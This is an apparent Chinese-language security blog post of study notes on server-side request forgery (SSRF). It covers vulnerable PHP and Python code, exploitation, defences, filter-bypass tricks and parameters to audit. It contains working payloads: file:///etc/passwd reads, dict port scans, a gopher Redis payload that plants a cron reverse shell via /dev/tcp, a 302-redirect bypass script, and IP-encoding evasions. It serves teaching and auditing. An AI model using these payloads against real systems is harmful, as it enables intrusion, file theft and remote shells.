ssrf漏洞学习

0x00 原理

SSRF服务端请求伪造。由攻击者构造请求使服务器发起请求。一般情况下,SSRF攻击的目标是从外网无法访问到的内网系统。正因为攻击请求由服务端发起,所以服务端能请求到与自身相连而与外网隔离的内网系统。形成原因是由于服务器提供从其他服务器应用获取数据的功能而没有对目标地址做过滤和限制。

0x01 相关函数

php

注意事项:

  1. file_get_contents的gopher协议不能 UrlEncode

  2. file_get_contents关于Gopher的302跳转有bug,导致利用失败

  3. curl/libcurl 7.43上gopher协议存在bug(%00截断),7.45以上无此bug

  4. curl_exec()默认不跟踪跳转

  5. file_get_contents() 支持php://input协议

curl_exec()版

1
2
3
4
5
6
7
8
9
10
function curl($url){  
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}

$url = $_GET['url'];
curl($url);

file_get_contents()版

1
2
$url = $_GET['url'];
echo file_get_contents($url);

fsockopen()版

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function GetFile($host,$port,$link) 
{
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp)
{
echo "$errstr (error number $errno) \n";
}
else
{
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents='';
while (!feof($fp))
{
$contents.= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}

python

urllib

1
2
3
4
5
#coding: utf-8
import urllib
url = 'http://127.0.0.1'
info = urllib.urlopen(url)
print(info.read().decode('utf-8'))

0x02 常见场景

  • 分享功能,通过 URL 地址分享网页内容

    早期分享应用中,为了更好的提供用户体验,WEB应用在分享功能中,通常会获取目标URL地址网页内容中的标签或者标签中content的文本内容作为显示以提供更好的用户体验

  • 转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览

    由于手机屏幕大小的关系,直接浏览网页内容的时候会造成许多不便,因此有些公司提供了转码功能,把网页内容通过相关手段转为适合手机屏幕浏览的样式。例如百度、腾讯、搜狗等公司都有提供在线转码服务

  • 在线翻译:通过URL地址翻译对应文本的内容。

    提供此功能的国内公司有百度、有道等

  • 图片加载与下载:通过URL地址加载或下载图片

    图片加载远程图片地址此功能用到的地方很多,但大多都是比较隐秘,比如在有些公司中的加载自家图片服务器上的图片用于展示。(开发者为了有更好的用户体验通常对图片做些微小调整例如加水印、压缩等,所以就可能造成SSRF问题)

  • 图片、文章收藏功能
    此处的图片、文章收藏中的文章收藏就类似于功能一、分享功能中获取URL地址中title以及文本的内容作为显示,目的还是为了更好的用户体验,而图片收藏就类似于功能四、图片加载

  • 未公开的api实现以及其他调用URL的功能

    此处类似的功能有360提供的网站评分,以及有些网站通过api获取远程地址xml文件来加载内容。

  • 数据库内置功能:数据库的比如mongodb的copyDatabase函数

  • 邮件系统:比如接收邮件服务器地址

  • 编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等

  • 未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞

  • 一些的url中的关键字:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……

  • 从远程服务器请求资源(upload from url 如discuz!;import & expost rss feed 如web blog;使用了xml引擎对象的地方 如wordpress xmlrpc.php)

  • web钩子:寻找触发特定事件时发出http请求的服务。在大多数web钩子的功能中,终端用户可以选择他们的终端点和主机名。尝试向内部服务发送http请求。

  • 文档解析器:尝试了解文档是如何被解析的。如果是XML文档,那就是用了PDF生成器方法。对于其他文档,检查是否存在引用外部资源的方法然后通过服务器向内部服务发送请求。

  • 链接扩展: 最近Mark Litchfield在推特扩展链接上发现了漏洞,名声大涨。

  • 文件上传:与常规上传文件相反,尝试发送url请求然后检查是否下载了url的内容。例子

  • PDF生成器:试着注入指向内部服务的<iframe><img>,<base>或者<script>元素或者CSS的url()函数。

0x03 利用方法

利用file协议读取本地文件

1
http://ip/ssrf.php?url=file:///etc/passwd

利用http协议扫描内网web系统

即简单的get请求,可以用来内网web系统的情况,比如常见的web端口80,443,81,8080,8088

1
http://ip/ssrf.php?url=http://127.0.0.1:8080

利用dict协议扫描端口开放情况

dict可以用来判断端口开放情况,获取服务的banner信息

1
http://ip/ssrf.php?url=dict://127.0.0.1:3306

利用gopher协议打内网

主要攻击redis、discuz、fastcgi、memcache、内网脆弱应用这几类应用,主要利用gopher协议。
Gopher协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议。当然现在 Gopher 协议已经慢慢淡出历史。Gopher协议可以做很多事情,特别是在 SSRF 中可以发挥很多重要的作用。利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache也可以进行 GET、POST 请求。这极大拓宽了 SSRF 的攻击面。例如gopher协议打redis从而getshell。顺便提一句,打ubuntu中的redis无法使用反弹shell,具体看参考。

1
http://ip/ssrf.php?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2A1%250d%250a%244%250d%250aquit%250d%250a

其他支持的协议

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
ftp://
ssrf.php?url=ftp://evil.com:12345/TEST

file://
ssrf.php?url=file:///etc/password

Dict://
dict://<user-auth>@<host>:<port>/d:<word>
ssrf.php?url=dict://attacker:11111/

SFTP://
ssrf.php?url=sftp://example.com:11111/

TFTP://
ssrf.php?url=tftp://example.com:12346/TESTUDPPACKET

LDAP://
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit

Gopher://
ssrf.php?url=gopher://127.0.0.1:3306

0x04 防御方法

  1. 禁止跳转
  2. 过滤返回信息,由于web应用中一般向外部服务器获取同一种类型的资源,因此在把获取结果返回给用户之前先验证返回的信息是否合法
  3. 禁用不需要的协议,仅仅允许http和https协议,可以防止dict、gopher等协议造成的问题(但可以用302绕过,见绕过姿势)
  4. 设置url白名单或者限制内网ip(使用gethostbyname()判断是否为内网ip)
  5. 限制请求端口为常见的web请求端口,如80、443、8080等
  6. 统一的错误信息,避免用户根据错误信息来判断远程服务器的端口状态

0x05 绕过姿势

有的会限制以ip形式去访问外部服务器,如127.0.0.1,但可能检测ip的代码或正则写的有问题,就会可以被绕过

@或#

1
2
3
http://example.com@127.0.0.1
http://A.com:B@127.0.0.1
127.0.0.1#http://abc

添加端口号

1
http://127.0.0.1:80

短地址

1
2
3
4
5
1)百度短网址转换:https://dwz.cn		#不支持ip
http://dwz.cn/11SMa >>> http://127.0.0.1

2)TinyURL:https://tinyurl.com/create.php #支持ip
3https://sina.lt/

泛域名服务 wildcard DNS

可以指向任意ip的域名,利用的原理是DNS解析

xip.io(已失效)

nip.io

sslip.io

local.gd (任意子域名都解析到127.0.0.1)

1
2
3
4
http://127.0.0.1.nip.io/
http://www.owasp.org.127.0.0.1.nip.io/
http://mysite.127.0.0.1.nip.io
http://foo.bar.127.0.0.1.nip.io

ip地址转换成进制

一些开发者会通过对传过来的URL参数进行正则匹配的方式来过滤掉内网IP,如采用如下正则表达式:

  • ^10(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){3}$
  • ^172\.([1][6-9]|[2]\d|3[01])(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$
  • ^192\.168(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$

对于这种过滤我们采用改编IP的写法的方式进行绕过,例如192.168.0.1这个IP地址可以被改写成:

  • 8进制格式:0300.0250.0.1
  • 16进制格式:0xC0.0xA8.0.1
  • 10进制整数格式:3232235521
  • 16进制整数格式:0xC0A80001
  • 合并后两位:1.1.278 / 1.1.755
  • 合并后三位:1.278 / 1.755 / 3.14159267

另外IP中的每一位,各个进制可以混用。

访问改写后的IP地址时,Apache会报400 Bad Request,但Nginx、MySQL等其他服务仍能正常工作。

另外,0.0.0.0这个IP可以直接访问到本地,也通常被正则过滤遗漏。

– IP进制转换地址:转换地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
再以127.0.0.1这个地址为例:

127.0.0.1的十六进制:0x7f.0x00.0x00.0x01

127.0.0.1的八进制:0177.0000.0000.0001

访问时先将127.0.0.1四个位数分别转为十六进制,即7f,000001,再一起转为八进制,即17700000001,最后记得访问的时候加0表示使用八进制(可以是一个0也可以是多个0 跟XSS中多加几个0来绕过过滤一样),十六进制加0x

IP转换为-16进制-记得访问的时候加0X表示使用16进制
http://127.0.0.1 >>> http://7F000001 >>>http://0X7F000001

IP转换为-16进制-转换为八进制-记得访问的时候加0表示使用八进制
http://127.0.01 >>> http://7F000001 >>>http://17700000001>>>http://017700000001

127转换为8进制:
http://127.0.0.1 >>> http://0177.0.0.1/

ip地址转换为10进制:
http://127.0.0.1 >>> http://2130706433/
http://192.168.0.1 >>> http://3232235521/
http://192.168.1.1 >>> http://3232235777/

利用Enclosed alphanumerics

1
2
3
4
5
6
7
8
9
10
http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ  >>>  http://example.com
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

利用句号

1
http://127001  >>>  http://127.0.0.1

利用特殊地址

1
2
3
4
5
6
7
8
9
10
11
12
http://0/

利用[::]绕过localhost
http://[::]:80/ >>> http://127.0.0.1
也有看到利用http://0000::1:80/的,但是我测试未成功

win下可以解析畸形的127.0.0.1,如
127.1
127.01
127.0.01

还有一种特殊的省略模式,例如10.0.0.1这个 IP 可以写成10.1

DNS重绑定

不详细讲了,直接看这篇吧

DNS Rebinding技术绕过SSRF/代理IP限制

CRLF ( Ascii Code ) — header injection

经典的比如weblogic的CVE-2014-4210,存在CRLF+SSRF打Redis来getshell,

此外还有urllib(urllib2)的CVE-2019-9740、CVE-2019-9947存在CRLF的漏洞,如果python的项目中利用了这个库对外请求,则可以被利用来打Redis这些组件

302重定向绕过

如果目标做了限制,只能通过域名访问,或不支持某种协议,或者无法访问到内网地址如10.0.0.1,那么可以在自己的云服务器上搭建一个302重定向脚本302.php

1
2
3
4
5
6
7
<?php
$ip = $_GET['ip'];
$port = $_GET['port'];
$scheme = $_GET['s'];
$data = $_GET['data'];
header("Location: $scheme://$ip:$port/$data");
?>

Dict协议 -> dict://fuzz.test.com:8080/hello:dict

1
/302.php?s=dict&ip=fuzz.test.com&port=8080&data=hello:dict
1
2
3
4
5
[root@localhost ssrf]# nc -l -vv 8080
Connection from 113.108.10.15 port 8080 [tcp/webcache] accepted
CLIENT libcurl 7.15.1
hello dict
QUIT

Gopher协议 -> gopher://fuzz.test.com:8080/gopher

1
/302.php?s=gopher&ip=fuzz.test.com&port=8080&data=gopher
1
2
3
4
5
[root@localhost ssrf]# nc -l -vv 8080
Connection from 113.108.10.16 port 8080 [tcp/webcache] accepted
GET /gopher HTTP/1.1
Host: 106.75.199.107:8080
Accept: */*

File协议 -> file:///etc/passwd

把上面的302.php变一下形,直接请求这个文件即可

1
2
3
<?php
header("Location: file:///etc/passwd");
?>

0x06 审计技巧

ssrf常用参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
?host=
?redirect=
?uri=
?path=
?continue=
?url=
?window=
?next=
?data=
?image-source=
?n=
?to=
?follow=
?u=
?go=
?fetch=
?source=
?img-src=

参考

SSRF学习笔记

解决ubuntu crontab反弹shell失败的问题

SSRF绕过的方法

腾讯某处SSRF漏洞(非常好的利用点)附利用脚本 · 安全手册 (gitbooks.io)

bilibili某分站从信息泄露到ssrf再到命令执行 · 安全手册 (gitbooks.io)

SSRF安全指北


ssrf漏洞学习
https://wanf3ng.github.io/2022/06/02/ssrf漏洞学习/
作者
wanf3ng
发布于
2022年6月2日
许可协议